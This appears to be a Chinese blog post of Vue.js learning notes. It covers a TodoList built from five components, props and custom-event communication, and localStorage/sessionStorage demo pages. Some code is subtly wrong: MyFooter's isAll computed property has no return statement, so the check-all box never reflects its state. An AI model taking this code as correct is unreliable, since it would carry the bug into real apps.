1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | < template > < div id="root"> < div class="todo-container"> < div class="todo-wrap"> < MyHeader :receive="receive"/> < MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/> < MyFooter :todos="todos" :checkAllDone="checkAllDone" :clearAllTodo="clearAllTodo"/> </ div > </ div > </ div > </ template > < script > import MyHeader from './components/MyHeader.vue' import MyList from './components/MyList.vue' import MyFooter from './components/MyFooter.vue' export default { name:'App', components:{ MyHeader, MyList, MyFooter }, data() { return { todos: [ {id: '001', title: '吃饭', done: false}, {id: '002', title: "睡觉", done: true}, {id: '003', title: '打代码', done: false} ] } }, methods: { //接收Header组件给的数据,进行添加操作 receive(val){ console.log('val', val); this.todos.unshift(val) }, //勾选或取消勾选一个todo checkTodo(id){ this.todos.forEach((todo)=>{ if (todo.id === id) { todo.done = !todo.done console.log(todo.id, todo.done); } }) }, //删除todo deleteTodo(id){ this.todos = this.todos.filter((todo)=>{ return todo.id !== id }) }, //todo全选或全不选 checkAllDone(done){ this.todos.forEach((todo)=>{ todo.done = done }) }, clearAllTodo(){ this.todos = this.todos.filter((todo)=>{{ return !todo.done }}) } }, } </ script > < style > /*base*/ body { background: #fff; } .btn { display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); border-radius: 4px; } .btn-danger { color: #fff; background-color: #da4f49; border: 1px solid #bd362f; } .btn-danger:hover { color: #fff; background-color: #bd362f; } .btn:focus { outline: none; } .todo-container { width: 600px; margin: 0 auto; } .todo-container .todo-wrap { padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </ style > |
MyHeader.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | < template > < div class="todo-header"> < input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add" /> </ div > </ template > < script > import {nanoid} from 'nanoid' export default { name: 'MyHeader', props:['receive'], data() { return { title:'' } }, methods: { add(event){ //校验输入 if (!this.title.trim()) return alert('输入不能为空') console.log(event.target.value); //将用户输入的包装成一个todo对象 const todoObj = {id: nanoid(), title: this.title, done: false} //将输入传给App组件 this.receive(todoObj) this.title = '' } }, } </ script > < style scoped> /*header*/ .todo-header input { width: 560px; height: 28px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; padding: 4px 7px; } .todo-header input:focus { outline: none; border-color: rgba(82, 168, 236, 0.8); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); } </ style > |
MyList.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | < template > < ul class="todo-main"> < MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj" :checkTodo="checkTodo" :deleteTodo="deleteTodo" /> </ ul > </ template > < script > import MyItem from '../components/MyItem.vue' export default { name: 'MyList', components:{MyItem}, props:['todos', 'checkTodo', 'deleteTodo'] } </ script > < style scoped> /*main*/ .todo-main { margin-left: 0; border: 1px solid #ddd; border-radius: 2px; padding: 0px; } .todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; } </ style > |
MyItem.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | < template > < li > < label > <!-- 这里勾选和取消勾选可以使用change和click作为事件处理--> < input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id)"/> <!--v-model数据的双向绑定,checkbox使用v-model来双向绑定其是否被勾选,也可以实现效果但不推荐(因为其实修改了props中的数据)--> <!--这里修改了从List修改过来的props,这里的不允许改是浅层次,就是如果props是一个对象则这个修改这个对象的某一个属性vue是放行的--> <!-- <input type="checkbox" v-model="todo.done"/>--> < span >{{todo.title}}</ span > </ label > < button class="btn btn-danger" @click="handleDelete(todo.id)">删除</ button > </ li > </ template > < script > export default { name: 'MyItem', props:['todo', 'checkTodo', 'deleteTodo'], //声明接收todo对象(props组件间传递数据) methods: { handleCheck(id){ //通知App组件将对应的todo对象的done值取反 this.checkTodo(id) }, //删除 handleDelete(id){ console.log(id); if (confirm('确定要删除吗')) { this.deleteTodo(id) } } }, } </ script > < style scoped> /*item*/ li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; } li label { float: left; cursor: pointer; } li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; } li button { float: right; display: none; margin-top: 3px; } li:before { content: initial; } li:last-child { border-bottom: none; } li:hover{ background: #ddd; } li:hover button{ display: block; } </ style > |
MyFooter.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | < template > <!--隐式类型转换--> < div class="todo-footer" v-show="total"> < label > <!--这里也可用v-model来替代,此时不需要计算属性了--> <!--<input type="checkbox" v-model="isAll"/>--> < input type="checkbox" :checked="isAll" @change="checkAll"/> </ label > < span > < span >已完成{{doneTotal}}/ 全部{{total}}</ span > </ span > < button class="btn btn-danger" @click="clearAll">清楚已完成任务</ button > </ div > </ template > < script > export default { name: 'MyFooter', props:['todos','checkAllDone', 'clearAllTodo'], computed:{ doneTotal(){ /* const x = this.todos.reduce((pre, current)=>{ console.log('@', pre, current); return pre + (current.done ? 1 : 0) }, 0) */ return this.todos.reduce((pre,current)=>pre + (current.done ? 1 : 0), 0) }, total(){ return this.todos.length }, isAll(){ this.doneTotal === this.total && this.total > 0 } }, methods: { checkAll(event){ this.checkAllDone(event.target.checked) }, clearAll(){ this.clearAllTodo() } }, } </ script > < style scoped> /*footer*/ .todo-footer { height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; } .todo-footer label { display: inline-block; margin-right: 20px; cursor: pointer; } .todo-footer label input { position: relative; top: -1px; vertical-align: middle; margin-right: 5px; } .todo-footer button { float: right; margin-top: 5px; } </ style > |
总结:
一、组件编码流程
1. 拆分静态组件:组件要按照功能点拆分, 命名不要与html元素冲突
2. 实现动态组件:考虑好数据的存放位置。数据是一个组件在用, 还是一些组件在用:
(1)一个组件在用:放在组件自身即可;
(2)一些组件在用: 放在它们共同的父组件上(<span style="color:red">状态提升</span>)
(3)实现交互:从绑定事件开始
二、props适用于:
(1)父组件 ==>子组件 通信
(2)子组件 ==>父组件 通信(要求父先给子一个函数)
三、使用v-model时要切记: v-model 绑定的值不能是props传递过来的值, 因为props是不可以修改的
四、props传过来的若是对象类型的值, 修改对象中的属性时Vue不会报错, 但不推荐这样做;
二.vue-cli
webStorage :
1. 存储内容大小一般支持5MB左右(不同的浏览器可能还不一样)
2. 浏览器端通过window.sessionStorage 和 window.localStorage属性来实现本地存储机制
3. 相关API:
xxxStorage.setItem('key', value); 该方法接受一个键和值作为参数, 会把键值对添加到存储中, 如果键名存在, 则更新对应的值
xxxStorage.getItem('key'); 该方法接受一个键名作为参数, 返回键名对应的值
xxxStorage.removeItem('key'); 该方法接受一个键名作为参数, 并把该键名从存储中删除
4. 备注:
(1)SessionStorage存储的内容会随着浏览器窗口关闭而消失
(2)LocalStorage存储的内容,需要手动清除才会消失
(3)xxxxStorage.getItem(xxx) 如果xxxx对应的value获取不到, 那么getItem的返回值是null
(4)JSON.parse(null) 的结果依然是null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <! DOCTYPE html> < html lang="en"> < head > < meta charset="UTF-8"> < meta http-equiv="X-UA-Compatible" content="IE=edge"> < meta name="viewport" content="width=device-width, initial-scale=1.0"> < title >localStorage</ title > </ head > < body > < h2 ></ h2 > < button onclick="saveData()">点我保存一个数据</ button > < button onclick="readData()">点我读取一个数据</ button > < button onclick="deleteData()">点我删除一个数据</ button > < button onclick="clearData()">点我清空一个数据</ button > </ body > < script > let p = {name:'张三', age:18} function saveData(){ localStorage.setItem('msg', 'hello'); localStorage.setItem('meg2', 18); localStorage.setItem('person', JSON.stringify(p)); } function readData(){ localStorage.getItem('msg'); localStorage.getItem('meg2'); const result = localStorage.getItem('person'); console.log('person', JSON.parse(result)); } function deleteData(){ localStorage.removeItem('msg'); } function clearData(){ localStorage.clear(); } </ script > </ html > |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <! DOCTYPE html> < html lang="en"> < head > < meta charset="UTF-8"> < meta http-equiv="X-UA-Compatible" content="IE=edge"> < meta name="viewport" content="width=device-width, initial-scale=1.0"> < title >sessionStorage(浏览器关闭, sessionStorage就不存在)</ title > </ head > < body > < h2 ></ h2 > < button onclick="saveData()">点我保存一个数据</ button > < button onclick="readData()">点我读取一个数据</ button > < button onclick="deleteData()">点我删除一个数据</ button > < button onclick="clearData()">点我清空一个数据</ button > </ body > < script > let p = {name:'张三', age:18} function saveData(){ sessionStorage.setItem('msg', 'hello'); sessionStorage.setItem('meg2', 18); sessionStorage.setItem('person', JSON.stringify(p)); } function readData(){ sessionStorage.getItem('msg'); sessionStorage.getItem('meg2'); const result = sessionStorage.getItem('person'); console.log('person', JSON.parse(result)); } function deleteData(){ sessionStorage.removeItem('msg'); } function clearData(){ sessionStorage.clear(); } </ script > </ html > |
组件的自定义事件
1. 一种组件间通信的方式, 适用于:子组件 ===>父组件
2. 使用场景: A是父组件, B是子组件, B想给A传数据, 那么就要在A中给B绑定自定义事件(事件的回调在A中)
3. 绑定自定义事件:
(1)第一种方式, 在父组件中:<Demo @testA = "test"> 或 <Demo v-on:testA="test">
(2)第二种方式, 在父组件中:
<Demo ref="demo">
...
mounted(){
this.$refs.xxx.$on('testA', this.test)
}
(3)若想让自定义事件只能触发一次, 可以使用once修饰符, 或$once方法
4. 触发自定义事件:this.$emit('testA', 数据 )
5. 解绑自定义事件: this.$off('testA')
6. 组件上也可以绑定原生DOM事件, 需要使用native修饰符
7. 注意: 通过this.$refs.xxx.$on('testA', 回调)绑定自定义事件时, 回调要么配置在methods中, 要么用箭头函数, 否则this指向会出问题
P80
三.vue-router
四.vuex
五.element-ui
六 .vue3
VsCode中的vue插件:
1. Vue 3 Snippets :代码自动提示
2. Vetur 插件
3. Markdown Preview Enhanced
VsCode中适配markdown的一款插件:适合记笔记
4. Typora 软件记笔记
5.引入UUId的精简版---> nanoid
1 | 命令: npm i nanoidimport {nanoid} from 'nanoid'const todoObj = {id: nanoid()} |
Vue总结:
https://blog.csdn.net/weixin_44972008/category_10622253.html
别人总结的:
https://blog.csdn.net/hangao233/article/details/123990192?spm=1001.2014.3001.5502
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了